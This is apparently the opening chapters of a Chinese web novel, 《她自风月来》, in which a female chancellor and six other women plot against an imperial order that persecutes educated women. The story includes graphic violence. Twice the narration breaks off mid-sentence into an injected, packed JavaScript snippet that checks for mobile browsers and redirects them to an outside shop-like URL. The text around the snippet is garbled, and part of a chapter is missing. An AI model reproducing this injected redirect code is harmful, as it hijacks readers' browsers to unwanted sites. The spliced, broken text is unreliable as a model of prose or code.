《她自风月来》 1. 楔子:血色朱砂 承安十年,腊月二十三,小年夜。 谢知微搁下朱笔,烛火跳了三跳。 乾元殿的值房里安静得像一座坟。炭盆里的红罗炭已经烧成了灰白色,偶尔“啪”地爆一声,溅起几点火星。窗外没有月亮,只有风,裹着雪粒子打在窗纸上,沙沙作响,像有人在用指甲一下一下地刮。 她揉了揉手腕,骨头缝里都是酸的。 案上堆着三十二本奏折,她批完了三十一本。还剩最后一本,户部请旨,问明年春闱的经费是否照旧例拨付。 照旧例。 她盯着这三个字看了很久,久到烛泪在烛台上积了厚厚一层。 旧例是什么?是大燕立朝以来,春闱就只是男子的事。女子不得进学,不得科考,不得入仕。女子的路只有三条——嫁人、为奴、进庵堂。若是生在官宦人家,还能多一条:关在后院绣楼里,等着被父亲拿去换一场联姻。 她谢知微能坐在这里批奏折,是因为皇帝需要一个替他干活的人。他不想看那些又臭又长的奏折,不想听那些大臣为了几两银子吵来吵去,不想管那些边关的战报是真是假。他只想炼丹,只想跟嫔妃厮混,只想当他的太平天子。 所以就有了她。 大燕开国以来第一位女相,也是唯一一位。 朝臣们背地里叫她“牝鸡司晨”,叫她“妖妇”,叫她“谢氏祸水”。可他们当面还是得跪,还是得称她一声“相爷”,还是得把奏折递到她手上,等着她批。 因为她有用。 谢知微提起朱笔,在奏折上批了两个字:照准。 笔尖划过宣纸,朱砂红得刺目。 她盯着那抹红,忽然想起母亲死的那天。 也是这样的夜,也是这样的雪。 承安十年?不,那是现在的年号。母亲死的时候,还是建元十九年。那时候她七岁,皇帝还是先帝,她父亲还是翰林院的一个六品编修,穷得过年连肉都买不起。 母亲就在那样的穷日子里,偷偷教她读书。 母亲说,女子也要识字,也要明理。不为了考功名,就为了将来不被骗,不被卖,不被人当傻子耍。 母亲教她读《女诫》,也读《论语》;教她写簪花小楷,也写奏折里才会用到的公文格式。母亲说,你学会了,不一定用得着,但万一哪天用得着呢? 她问母亲,万一哪天用着了,会怎么样? 母亲笑了笑,没有回答。 后来她才知道,母亲不是不知道,是不敢说。 那一年冬天,有人告发了母亲。 告发的人是隔壁的张主事,因为父亲借了他二两银子没还。张主事说,谢家的女人在家设馆,教女儿和几个相好的闺秀读书识字,这是“牝鸡司晨”,是祸乱之源,有伤风化。 官府来拿人的那天,父亲跪在雪地里磕头,磕得额头鲜血直流,说“贱妇无知,求大人饶命”。 母亲没有跪。 她站在廊下,看着那些人冲进她的屋子,把她的书一本一本扔出来,扔在雪地上,用脚踩,用刀砍。她没有求饶,没有哭喊,只是回过头,看了一眼站在角落里的女儿。 谢知微记得那个眼神。 母亲的眼睛很亮,亮得像冬天的星子。她看着女儿,轻轻笑了一下,用口型说了两个字。 活着。 然后她就被带走了。 三天后,母亲被押到菜市口。罪名是“牝鸡司晨,惑乱人心”,判的是斩立决。 父亲没有去送。他说他要去求人,要去托关系,要去想办法。可谢知微知道,他是不敢去。 她一个人去了。 她站在人群里,看着母亲被刽子手按在木墩上。母亲的头发散下来,披在肩上,像一匹黑色的缎子。她的脖子露出来,很白,很细,上面有一道淡淡的疤痕,是小时候被她自己不小心划伤的。 母亲忽然转过头,看向人群。 她看见了女儿。 谢知微不知道母亲是怎么从那么多人里一眼看见她的。可母亲就是看见了。母亲又笑了,还是那样的笑,还是那样的口型。 活着。 然后刀落下来。 血溅出去三尺远,洒在雪地上,烫出一个又一个窟窿。母亲的头滚落在雪地里,眼睛还睁着,还看着她的方向。 谢知微没有哭。 她就那么站着,看着,直到人群散尽,直到刽子手把母亲的尸身拖走,直到雪把那些血盖住,盖成一片白。 她弯腰,从雪地里捡起一样东西。 是母亲的一缕头发,被血浸透了,粘在地上。她把它攥在手心里,攥得紧紧的,攥到指甲掐进肉里,掐出血来。 从那天起,她就知道,她这辈子只剩下一条路。 活。 活着,然后等。 等一个机会。 “娘娘。” 门外响起轻轻的叩门声,把她从回忆里拉回来。 谢知微闭了闭眼,把那些画面压下去。再睁开眼时,脸上已经没有任何表情。 “进来。” 门开了,进来的是她的心腹侍女,名唤青棠。青棠手里捧着一封密信,双手呈上来:“娘娘,那边回信了。” 谢知微接过信,拆开。 信上只有八个字:腊月廿八,风月楼,酉时。 落款处是一朵梅花,用朱砂点染,艳得像血。 谢知微盯着那朵梅花,嘴角慢慢浮起一丝笑意。 腊月廿八,还有五天。 风月楼,京城东城胭脂河边,一家三教九流汇聚的酒楼。老板娘姓沈,单名一个醉字,人称“酒中仙”。 酉时,正是华灯初上的时候。 她把信凑近烛火,看着它一点点燃尽,变成一撮黑灰。 “青棠,”她说,“去告诉沈老板,就说我知道了。” 青棠应声而去。 谢知微站起身,走到窗边,推开窗。 冷风夹着雪片扑进来,扑在她脸上,扑在她身上。她穿着一件半旧的石青色袄裙,外头罩着朝服,朝服上绣着仙鹤,那是宰相的品级才能用的纹样。 她低头看了一眼自己胸口的仙鹤,忽然觉得有些好笑。 母亲要是知道她成了宰相,会怎么想? 大概会吓一跳吧。 可她不是宰相。她只是皇帝的一把刀,一只笔,一个替他背黑锅的替罪羊。皇帝高兴了,赏她几句好话;皇帝不高兴了,随时可以把她推出去砍了,就跟当年砍她母亲一样。 她在这位子上坐了九年,每一天都像走在刀尖上。 可她不能退。 退了就是死。退了就对不起母亲那两个字。 活着。 她要活着,还要让那些害死母亲的人,一个一个,都活不成。 窗外传来脚步声,踩在雪地里,咯吱咯吱响。谢知微低头看去,是两个穿黑衣的人,站在风月楼对面的巷子里,正抬头往这边看。 皇帝的狗。 她冷笑一声,关上窗。 皇帝派了人盯着她,她早就知道。从她当上宰相那天起,皇帝就没信过她。她住在宫里,出门有人跟着,说话有人听着,连她每天批多少本奏折、喝几盏茶、见几个人,都有人记下来,送到皇帝案头。 可她也有自己的人。 那些人不在宫里,不在朝堂,在民间。在酒楼,在医馆,在绣坊,在青楼。她们都是女子,都是被这世道践踏过的女子,都跟她一样,心里憋着一口气。 她们等了很久,等一个机会。 现在,机会来了。 谢知微回到案前,把剩下的奏折收拾好,放进匣子里。她的手碰到一个暗格,顿了顿,还是打开了。 暗格里放着七封信。 每一封都是用密语写成,收信人不同,内容却是一样的:腊月廿八,风月楼,酉时。议大事。 她一封一封看过去。 第一封,给沈醉。风月楼老板娘,酒中仙。她们见过三次面,每一次都是她主动找的沈醉。第一次,她说需要有人传递消息,沈醉答应了。第二次,她说有人在查风月楼,沈醉提前做了准备。第三次,她问沈醉,如果有机会让这世道变一变,你愿不愿意? 沈醉当时喝醉了,随口答了一句:愿意啊。 第二天酒醒,沈醉托人带话给她:谢相,我喝醉了说的话,您别当真。 她回了一句话:我没当真,我当真的是你醒着的时候说的话。 沈醉没有再回话。可从那以后,风月楼就成了她们接头的地方。 第二封,给谢霜寒。霜冷剑阁阁主,剑中霜。她没见过谢霜寒,只知道她是江湖上赫赫有名的剑客,杀过北狄的将军,救过边关的妇孺。她们是通过书信联系的,谢霜寒的字像她的剑一样冷,每一笔都像刻在石头上的。 谢霜寒回信只有四个字:何时,何地。 第三封,给白芷。医谷传人,医中圣。她找白芷治过病,治的不是身子,是心病。那时候她刚当上宰相,每天晚上都做噩梦,梦见母亲被杀的那天。白芷给她开了三副药,说一副治失眠,一副治心慌,一副治心病。她问白芷,哪一副是治心病的?白芷说,第三副,你不用吃,你就放在枕头边,每天晚上看一眼,就知道自己为什么活着。 她到现在还留着那副药。 第四封,给苏锦。江南首富,商中狐。她跟苏锦做过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334406|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生意,借过钱,也翻过脸。苏锦的妹妹被卖入青楼,是她帮忙救出来的。苏锦欠她一个人情,一直在找机会还。 第五封,给云娘。绣坊主人,绣中魂。她不认识云娘,只知道云娘是个瞎子,靠指尖“读”布纹,绣出来的东西却比明眼人还好。她们是通过沈醉认识的,云娘帮她们传递过几次消息,用的是绣品里的暗纹。 第六封,给花解语。教坊司乐师,乐中妖。她见过花解语两次,一次是在宫里,花解语来给太后弹琴;一次是在教坊司,她去查一桩案子。花解语弹琴的时候像仙女,不弹琴的时候像狐狸,眼睛里全是算计。可她知道,那层狐狸皮底下,藏着一把刀。 第七封,是她自己的。 相中狼。 这是外人给她起的绰号。说她像狼一样狠,一样冷,一样不择手段。她听了只是笑。狼有什么不好?狼活得久,狼会咬人,狼不吃亏。 她把七封信看了一遍,然后一封一封烧掉。 只剩下一封,是给皇帝的眼线准备的假信。信上写着:腊月廿八,城西土地庙,酉时。 皇帝会派人去土地庙蹲守。而她们,会在风月楼相聚。 谢知微把假信放在案上,等着人来“发现”。 然后她站起身,走到铜镜前,看着镜子里的人。 镜中人三十岁不到,却已经生了白发。鬓边那一缕白,是刚当上宰相那年长出来的,一夜之间,白得像雪。她看着那缕白发,忽然想起母亲死的那天,雪也是这样白。 她伸手,把白发拢到耳后。 “母亲,”她轻轻说,“您教我的,我都记得。您没教我的,我也学会了。” 镜子里的人没有说话,只是看着她。 “您说,女子也要识字明理。我明理了,可理在谁手里?在皇帝手里,在那些男人手里。他们说什么,什么就是理。” “您说,活着就好。我活着,可活着是为了什么?是为了替他们批奏折?是为了替他们背黑锅?是为了有一天被他们砍头,跟您一样?” “我不甘心。” 她一字一字说出口,声音很轻,轻得像窗外的雪。 “我要让这世道换一个活法。要让以后的女子,不用像您一样等死,不用像我一样赌命。要让他们知道——” 她顿住,看着镜子里的人,看着那双和母亲一模一样的眼睛。 “牝鸡司晨,又怎样?” 窗外,风更大了。 雪粒子打在窗纸上,像无数只手在敲。 谢知微最后看了一眼镜子,转身走回案前。她把那封假信往显眼的地方挪了挪,确保来人一眼就能看见。 然后她吹灭蜡烛,在黑暗里坐着。 坐了很久。 黑暗中,她听见自己的心跳,一下,一下,缓慢而有力。 她想起七岁那年,站在人群里,看着母亲的头落地。她想起那天的雪,那天的血,那天母亲的眼神。 她想起母亲最后说的那两个字:活着。 她活了二十三年。 二十三年来,她每天都在等。等一个机会,等一群人,等一个可以让她把命豁出去的瞬间。 现在,那群人找到了。 腊月廿八,风月楼,酉时。 七个人,七条命,七个被这世道践踏过、却不肯认命的女子。 她们聚在一起,要议一件大事。 什么事? 谢知微在黑暗里笑了一下。 窗外,远远传来梆子声。四更天了。 再过两个时辰,天就要亮了。再过五天,就是腊月廿八。 她闭上眼睛,在黑暗里轻轻说了一句话。 “该让世人知道——” “大燕七绝,全是女子。” 黑暗中,仿佛有人应了一声。 是风,是雪,还是母亲的声音? 她不知道。 她只知道,从这一刻起,她的命不再是她一个人的。 是七个人的。 是千千万万个女子的。 窗外,雪还在下。 腊月二十三,小年夜,四更天。 乾元殿的值房里,一个女人在黑暗里坐着,等待天亮。 她等了二十三年,不差这五个时辰。 不差这五天。 黑暗中,她睁开眼睛,目光灼灼,亮得像两团火。 谢知微。 相中狼。 大燕七绝之一。 她在等。 等一场雪停。 等一群人聚。 等一个旧世道碎掉,一个新世道从血里长出来。 窗外的雪,下得更大了。 2. 沈醉的醉与醒(酒中仙主线) 风月楼在城东胭脂河边,是一栋三层的木楼,年头久了,柱子上的朱漆都剥落了大半。可一到夜里,几十盏灯笼点起来,红光映在河面上,整条街都跟着活过来。 沈醉坐在二楼窗边,手里端着酒碗,看着河对岸的积雪。 雪下了三天,今儿午后才停。对岸的屋顶上白茫茫一片,有几只乌鸦落在上面,爪子刨来刨去,不知在找什么吃的。她看着那些乌鸦,忽然想起小时候娘说过的话:乌鸦是孝鸟,老乌鸦飞不动了,小乌鸦会叼食来喂。 她娘说这话的时候,她爹还在。 那时候她爹还没开始赌,家里还有几亩薄田,日子过得紧巴巴,但好歹能吃饱。她娘给人洗衣裳,她爹给人扛活,她在河边捡柴火,一家三口,平平淡淡。 后来她爹不知被谁拉去赌了一次,赢了二两银子,从此就收不住了。 她娘哭着劝,他打她。她跪着求,他踹她。她把家里的田契藏起来,他把她吊在房梁上抽,抽到她松口。 田没了,房子没了,她娘被卖了。 那天她躲在门后,从门缝里看着她娘被人拖走。她娘没有哭,没有喊,只是回过头,往门缝里看了一眼。 那个眼神,她到死都忘不了。 “老板娘!” 楼下传来喊声,把她从回忆里拽出来。 沈醉低头一看,是账房周伯,站在院子里冲她挥手:“有客!雅间的!” 她“嗯”了一声,把碗里剩的酒一口干了,起身下楼。 楼下大堂里坐着七八桌客人,有贩夫走卒,有江湖客,还有两个穿青衫的读书人,正对着一盘花生米高谈阔论。沈醉从他们身边走过,听见他们在说什么“女子不得入祠”,说什么“牝鸡司晨”,说什么“世风日下”。 她脚步顿了顿,然后继续走,脸上带着笑。 “几位爷慢用,酒不够喊我。” 读书人中的一个抬头看了她一眼,目光在她脸上身上转了一圈,笑眯眯道:“老板娘亲自招呼?那我们可得再要一壶。” 沈醉笑得更深了:“行啊,一壶够不够?要不要来坛大的?” 读书人被她噎了一下,讪讪地收回目光。 沈醉转身走了,脸上的笑容一点一点淡下去。 世风日下。 牝鸡司晨。 这些话她听过一万遍了。从她爹嘴里听过,从债主嘴里听过,从那些来风月楼吃酒的男人嘴里听过。听得她耳朵都起茧子了。 可听得再多,她还是不习惯。 就像不习惯冬天喝凉水,不习惯夏天穿棉袄——不对,比那还难受。是心里头堵着一团棉花,吐不出来,咽不下去,就那么堵着,日复一日,年复一年。 她走到后院,周伯正跟一个年轻女子说话。那女子穿着青布衣裳,手里提着个食盒,是隔壁馄饨摊的阿萝。 “阿萝,你娘又让你送吃的?”沈醉走过去。 阿萝把食盒递给她:“我娘说您肯定又没吃饭,光喝酒。” 沈醉打开食盒,里面是一碗热腾腾的荠菜馄饨。她低头闻了闻,香气直往鼻子里钻。 “替我谢谢你娘。”她说。 阿萝“嗯”了一声,却没有走,站在那儿看着她,欲言又止。 沈醉看出她有话要说:“怎么了?” 阿萝咬了咬嘴唇:“老板娘,我娘说……说这几天街上有几个人,老是在咱们这一带转悠,让我留点神。” 沈醉心里一动:“什么样的人?” “穿黑衣服的,三个人,看着不像好人。”阿萝说,“我娘说,他们好像在盯着风月楼。” 沈醉点点头,脸上不动声色:“知道了。让你娘别担心,有我呢。” 阿萝走了。沈醉端着馄饨站在院子里,看着墙角的积雪,半天没动。 穿黑衣服的人。 皇帝的狗。 来得真快。 她把馄饨递给周伯:“您吃了吧,我不饿。” 周伯想说什么,她已经转身回了楼里。 下午的生意清淡,沈醉坐在柜台后头,手里转着一只空酒碗,眼睛看着门外。 街上人来人往,卖糖葫芦的,剃头的,挑担子卖菜的,还有几个小孩在雪地里打雪仗。她一个一个看过去,没看见穿黑衣服的人。 可她知道,他们在。 就像藏在洞里的老鼠,你看不见,可你知道它们就在那儿,等着夜里出来咬东西。 太阳慢慢偏西,天边烧起一片红霞。风月楼的灯笼一盏一盏点起来,红光映在雪地上,照得整条街都暖洋洋的。 沈醉正要起身去招呼客人,忽然听见外面一阵喧哗。 “站住!你个死丫头!敢跑?” 她走到门口,往外一看。 一个穿粗布衣裳的少女正拼命往这边跑。她头发散着,脸上带着伤,一只脚光着,踩在雪地里,冻得通红。她身后追着三个男人,领头的是个肥头大耳的中年男人,一边追一边骂。 少女跑到风月楼门口,脚下一滑,整个人摔在雪地里。 那三个男人追上来,肥头大耳的男人一把揪住她的头发,把她从地上拎起来。 “跑啊!再跑啊!”他扬手就是一巴掌,打得少女嘴角流血。 少女被打得懵了,却还是挣扎着抬起头,看见了站在门口的沈醉。 “救命……”她喊,声音又尖又细,像被掐住脖子的鸡,“求求您,救救我……” 沈醉看着她,没有说话。 肥头大耳的男人顺着少女的目光看过来,看见沈醉,咧嘴笑了:“哟,这不是风月楼的沈老板娘吗?怎么,您想管这闲事?” 沈醉慢慢走下台阶,站在他们面前。 “这姑娘是你什么人?” “我闺女!”男人理直气壮,“亲闺女!老子养了她十五年,现在家里揭不开锅了,把她卖了换点银子,天经地义!” “天经地义?”沈醉重复了一遍这四个字,“你欠了多少赌债?” 男人脸色一变:“你……你怎么知道?” 沈醉没理他,看向那个少女:“你叫什么?” 少女被打得满脸是血,却还是努力抬起头:“我……我叫阿蛮。” “阿蛮。”沈醉点点头,“你愿意跟你爹回去吗?” 阿蛮拼命摇头,摇得眼泪都甩出来了:“不!我不回去!他要卖我!他要把我卖到那种地方去!” 沈醉沉默了一会儿,然后伸手从怀里摸出一张银票。 “这是一百两。”她说,“拿了钱,滚。” 男人的眼睛亮了,伸手就要接。 沈醉把银票收回去:“先写文书。周伯,拿纸笔来。” 周伯很快拿来纸笔。男人不识字,沈醉让周伯写,写完了念给他听:从此以后,阿蛮与刘家再无干系,生死各不相干。 男人按了手印,接过银票,眉开眼笑地走了。 阿蛮跪在雪地里,拼命给沈醉磕头,磕得额头上都是雪和血混在一起:“谢谢老板娘!谢谢老板娘!我做牛做马报答您!” 沈醉弯腰把她扶起来:“起来吧。周伯,带她去后面洗洗,换身干净衣裳。” 阿蛮被周伯带走了。沈醉站在雪地里,把那纸文书看了一遍,叠好收进怀里。 她正要转身回楼里,忽然听见身后有人说:“老板娘心善。” 她回头一看,是个穿青衫的年轻男子,站在不远处,正笑吟吟地看着她。 沈醉心里一紧。 这个人,她没见过。可他的眼神,她见过。那是猎人的眼神,看着猎物的时候,就是这样的。 “客官吃饭还是住店?”她笑着问。 “吃饭。”年轻男子说,“听说风月楼的酒好,来尝尝。” 沈醉把他让进楼里,安排了座位,亲自去后厨交代。 出来的时候,她看见阿蛮站在后院的井台边,周伯正往她手里塞一个馒头。 阿蛮接过馒头,大口大口地吃,吃得眼泪都掉下来了。 沈醉走过去,站在她身边。 阿蛮看见她,又要跪,被她一把拉住。 “别跪了。”沈醉说,“吃你的。” 阿蛮含着泪点头,继续吃馒头。 沈醉看着她,忽然问:“你娘呢?” 阿蛮的眼泪又掉下来:“死了。去年冬天死的。病死的不给治,说没钱。” 沈醉沉默。 “我娘活着的时候,”阿蛮小声说,“天天盼着我爹能改。她不怨他,不恨他,就盼着他能改。可他改不了。我娘死了,他把我卖了。” 沈醉还是不说话。 阿蛮吃完馒头,抬起头看着她:“老板娘,您为什么救我?” 沈醉想了想,说:“因为有人救过我。” 阿蛮眼睛亮了:“那我也能像您一样吗?以后也能救人?” 沈醉看着她那双亮晶晶的眼睛,忽然想起一个人。 很久以前,也有一个人用这样的眼睛看着她。 那是她师姐。 那时候她还在师门,跟着师父学艺。师父是个疯疯癫癫的老道姑,收了一堆女弟子,教她们读书识字,教她们拳脚功夫,教她们怎么在世上活下去。 师父说,这世道对女子不公,所以女子更要自己争气。 师父说,你们学了本事,不是为了欺负人,是为了不被欺负。 师父说,将来有一天,你们要替那些不能保护自己的人出头。 她信了。 她真的信了。 直到那一天。 那天师门来了客人,说是江湖上的朋友,来借宿的。师父让他们住下了,好吃好喝招待着。她也信了,把他们当朋友。 可那些人不是朋友。 他们是冲着师父来的。师父手里有一本册子,上面记着许多官员的阴私,是师父这些年走南闯北收集来的。那些人要那本册子,师父不给。 那天夜里,她喝多了酒,跟那些人中的一个说了几句醉话。她说了什么,她不记得了。只记得第二天醒来,师门已经烧成了白地。 师父死了,师姐死了,师姐妹们都死了。 只有她活着。 因为她说漏了嘴,让那些人知道了册子藏在哪儿。 她活着,可她宁愿死了。 这些年她拼命喝酒,就是想忘掉那一夜。想忘掉师父临死前的眼神,想忘掉师姐最后喊的那句话。 师姐喊的是:沈醉,你记住,不是你的错。 可她知道,是她的错。 就是她的错。 “老板娘?” 阿蛮的声音把她拉回来。 沈醉眨了眨眼,发现自己脸上凉凉的。她抬手一抹,是雪。 不,不是雪。 是泪。 她转过身,不让阿蛮看见。 “吃完就去歇着吧。”她说,“明天再说以后的事。” 阿蛮“嗯”了一声,乖乖跟着周伯走了。 沈醉一个人站在井台边,看着黑沉沉的天。 那个穿青衫的年轻男子,还在楼里坐着。她知道他在等什么。等夜里,等人少,等机会。 她冷笑一声。 皇帝的狗,咬人之前还要先闻闻味儿。 她转身回楼里,经过大堂的时候,那年轻男子叫住她:“老板娘,酒不错。再来一壶?” 沈醉停下脚步,看着他。 “客官,”她说,“您是来喝酒的,还是来瞧热闹的?” 年轻男子笑了:“老板娘这话说的,喝酒就不能瞧热闹了?” 沈醉也笑了:“能。当然能。只是我这风月楼,热闹不多,怕您瞧不着。” 年轻男子看着她,目光幽深:“老板娘太谦虚了。我看您这儿,热闹多得很。” 沈醉不再理他,上楼去了。 夜里,她把阿蛮安顿在后院的一间小屋里,又给她抱了一床厚被子。 阿蛮躺在被窝里,眼睛亮晶晶地看着她:“老板娘,我以后能跟您学本事吗?” 沈醉看着她,忽然想起师姐那句话:沈醉,你记住,不是你的错。 她张了张嘴,想说什么,又咽了回去。 最后她只说:“睡吧。” 她吹灭蜡烛,带上门,走了。 回到自己屋里,她躺在床上,怎么也睡不着。 窗外的风呜呜地吹,吹得窗纸直响。她听着风声,想着阿蛮那双眼睛,想着师姐那句话,想着师父临死前的样子。 她翻了个身,把脸埋进枕头里。 枕头湿了。 不知什么时候,她迷迷糊糊睡着了。 梦里,她又回到了师门。师父在院子里打拳,师姐在井台边洗衣服,小师妹在追蝴蝶。阳光暖洋洋的,照在每个人身上。 她站在门口,看着她们,想喊她们快跑,可喊不出声。 然后火就烧起来了。 她看见那些人冲进来,看见师父倒下去,看见师姐被刀砍中,看见小师妹被踩在地上。 她看见自己站在一边,醉醺醺的,什么都不知道。 “沈醉!” 师姐的喊声把她惊醒。 她猛地坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她仰起头,把坛子里剩的最后一口酒倒进嘴里。 酒很醇,很厚,从喉咙一直暖到心里。 可她的心是冷的。 她把空酒坛举起来,举过头顶,狠狠摔在地上。 “啪!” 酒坛碎成无数片,溅得到处都是。 周伯吓了一跳:“老板娘!” 沈醉站在碎瓷片中间,抬起头,看着天边那一线灰白。 天快亮了。 “周伯,”她说,“把那间屋子收拾干净。阿蛮……好好葬了。” 周伯应了一声,又小心翼翼地问:“老板娘,您……您没事吧?” 沈醉没有回答。 她低头看着地上的碎瓷片,看着那些锋利得能割破手指的碎片。 忽然想起师父说过的一句话。 师父说,醉着死,不如醒着拼。 她以前不懂。 她以为师父说的是喝酒。 现在她懂了。 师父说的是活着。 醉着死,就是像她这些年一样,用酒把自己灌醉,假装什么都忘了,假装什么都没发生过,就这么浑浑噩噩地活着,活到死。 醒着拼,就是清醒地面对那些事,面对那些恨,面对那些痛,然后一刀一刀地拼,拼到拼不动为止。 她这些年,一直在醉着。 从今天起,她要醒了。 沈醉转身,大步往外走。 周伯在后面喊:“老板娘,您去哪儿?” “去杀人。”她说。 周伯吓得脸都白了:“老板娘!” 沈醉停下脚步,回头看了他一眼,笑了一下。 “逗您的。”她说,“我去买酒。” 她走出后院,走过大堂,走到门口。 门外站着一个人。 是那个穿青衫的年轻男子。 他站在晨曦里,笑眯眯地看着她:“老板娘起得早。” 沈醉看着他,也笑了:“客官也早。” “听见动静,出来看看。”年轻男子说,“老板娘这是要去哪儿?” 沈醉走到他面前,站定。 “客官,”她说,“您盯了我三天了,盯出什么来了?” 年轻男子的笑容僵了一瞬。 沈醉继续说:“回去告诉您的主子,就说沈醉说了——风月楼是卖酒的地方,不是他该来的地方。再来,我就把那些狗腿子一个一个扔进胭脂河里喂鱼。” 年轻男子的脸色变了。 沈醉不再理他,大步往前走。 走出几步,她忽然停下来,回过头。 “对了,”她说,“替我给你们主子带句话。” 年轻男子看着她。 沈醉一字一字说:“这世道,该换一换了。” 说完,她转身走了。 晨光照在她身上,把她的影子拉得很长。 她走在雪地里,一步一步,踩得积雪咯吱咯吱响。 她知道前头等着她的是什么。 皇帝的狗,朝堂的刀,那些男人的嘴和笔。 可她不怕了。 醉着死,不如醒着拼。 她醒了。 风月楼门口,那个年轻男子站在原地,看着她走远。 他忽然发现,自己后背凉飕飕的。 出了一身冷汗。 远处传来吆喝声,卖馄饨的出摊了。 阿萝的娘把摊子支起来,看见沈醉走过来,笑着招呼:“沈老板,来碗馄饨?” 沈醉在摊子前坐下,要了一碗馄饨。 热气腾腾的馄饨端上来,她低头吃着,一口一个。 阿萝的娘在旁边看着她,欲言又止。 沈醉吃完馄饨,放下碗,从怀里摸出几个铜板。 “周婶,”她说,“以后我的馄饨,送到风月楼就行。” 周婶愣了一下:“您不来吃了?” 沈醉站起来,拍了拍身上的雪。 “不来了。”她说,“往后忙。” 她走了。 周婶站在摊子后面,看着她的背影,总觉得今天这个沈老板,跟往常不太一样。 到底哪里不一样,她也说不上来。 就是觉得,她的腰比往常直了些。 脚步比往常快了些。 眼睛比往常亮了。 像是一头睡了很久的狮子,终于醒了。 ——第一章完—— 3. 谢霜寒的剑与霜(剑中霜主线) 霜冷剑阁不在霜冷的山上,在雁门关外三十里的荒原上。 说是剑阁,其实只是一座土坯垒成的院子,四面透风,屋顶漏雪。可方圆百里的人都管它叫剑阁,因为里头住着一个人。 谢霜寒。 没有人知道她从哪里来,没有人知道她多大年纪,只知道她的剑很快,快到你还没看清她拔剑,喉咙上已经多了一道口子。 北狄人管她叫“霜鬼”。汉人管她叫“剑中霜”。 腊月的雁门关外,风像刀子一样刮,刮在脸上能刮出血来。谢霜寒站在剑阁门口,看着远处的地平线。 天是灰的,地是白的,天地之间只有风在嚎。 她穿着一件半旧的羊皮袄,头发随便挽了个髻,用一根木簪别着。腰间悬着一把剑,剑鞘是黑色的,没有任何花纹,像一条死蛇。 她在这站了一个时辰了。 身后传来脚步声,是她收留的一个小丫头,叫阿蘅。 “阁主,饭好了。”阿蘅说。 谢霜寒没动。 阿蘅又说:“您都站了一上午了,回去吃点东西吧。” 谢霜寒终于回过头,看了她一眼。 阿蘅今年十一岁,是她去年从北狄人手里救下来的。那天她路过一个村子,看见北狄兵在屠村,杀得满地都是死人。她杀了那些北狄兵,在死人堆里翻出了阿蘅。阿蘅被她娘护在身下,她娘背后被捅了七八刀,已经硬了,可阿蘅还活着,在她娘怀里睁着眼睛,不哭不喊,就那么看着她。 谢霜寒把她带回来,教她认字,教她练剑,教她怎么活下去。 阿蘅学得很快,快得让她想起另一个人。 “走吧。”谢霜寒说。 她跟着阿蘅进了屋。屋里烧着炉子,暖和多了。炉子上坐着一口锅,锅里煮着羊肉汤,咕嘟咕嘟冒着泡。 阿蘅给她盛了一碗,又给自己盛了一碗。 谢霜寒端着碗,慢慢喝着。 羊肉汤很香,是她上个月从一个商人手里换来的。那商人在路上遇到了狼群,她救了他,他就送了她一只羊。 她一边喝汤,一边想:那个商人说,京城里有人要找她。说她如果愿意,可以去京城一趟,有大事相商。 大事。 什么大事? 她不知道。她只知道那个商人留下了一封信,信上只有八个字:腊月廿八,风月楼,酉时。 落款是一朵梅花。 她把信烧了,没有告诉任何人。 不是不信,是不敢信。 她这辈子信过的人,都死了。 阿蘅喝完汤,眼巴巴地看着她:“阁主,今天还练剑吗?” 谢霜寒点点头:“练。” 阿蘅高高兴兴地去拿剑了。 谢霜寒看着她的背影,忽然想起很多年前,也有一个人这样看着她。 那个人是她娘。 那年她六岁,住在雁门关内的一个小村子里。她爹是边军,常年不在家,她和她娘相依为命。 她娘是个软性子的人,说话轻声细语,走路轻手轻脚,连杀鸡都不敢看。村里人都说她娘是好脾气,可她知道,那不是好脾气,是怕。 她娘什么都怕。怕村里的泼妇骂街,怕隔壁的老头瞪眼,怕地保来收税的时候大声说话,怕半夜有人敲门。 她问她娘:你怕什么? 她娘说:怕活不下去。 她说:那怎么才能活下去? 她娘说:忍。忍着忍着,就活下去了。 她信了。 她真的信了。 直到那一天。 那天,北狄人来了。 没有人知道他们是怎么绕过边关的,反正他们就是来了。几百个北狄骑兵冲进村子,见人就杀,见房子就烧。 她娘拉着她跑,跑到村后的山上,躲在一个山洞里。 她们在山洞里躲了两天两夜。 第三天,北狄人搜山了。 她听见外面的喊叫声,听见马蹄声,听见刀砍在人身上的声音。她娘把她推到山洞最深处,用身体堵住洞口。 然后北狄人就来了。 她听见他们说话,叽里咕噜的,她听不懂。她听见他们笑,笑得很响。她听见她娘在发抖,抖得像风里的树叶。 忽然,她娘不动了。 她透过她娘的肩膀往外看,看见一个北狄兵站在洞口,手里举着一杆枪。 枪尖上挑着一样东西。 是一个婴儿。 很小的婴儿,光着身子,被枪尖从肚子上穿过去,还在动,还在哭。 那个北狄兵把枪举起来,晃了晃,跟旁边的人说着什么,然后一起大笑起来。 她娘的身体抖得更厉害了。 可她没有动。 她没有冲出去,没有喊叫,就那样躲在洞里,躲在她娘身后,一动不动。 后来北狄人走了。 她娘把她从洞里拉出来,拉着她往山下跑。 跑到半山腰,她们遇见了剩下的北狄兵。 那一队北狄兵有十几个人,看见她们,眼睛都亮了。他们围上来,笑着,说着什么,目光在她娘身上转来转去。 她娘把她护在身后,一步一步往后退。 退到一棵树边,退不动了。 北狄兵围得更近了。 她娘忽然蹲下来,抱住她,在她耳边说了一句话。 “别学我软弱。” 然后她娘站起来,冲向北狄兵。 谢霜寒不知道她娘想干什么。她娘不会武功,手无缚鸡之力,冲上去只是送死。 可她娘就是冲上去了。 北狄兵愣了一下,然后哈哈大笑。 他们把她娘围在中间,你推一把,我踹一脚,像玩一样。 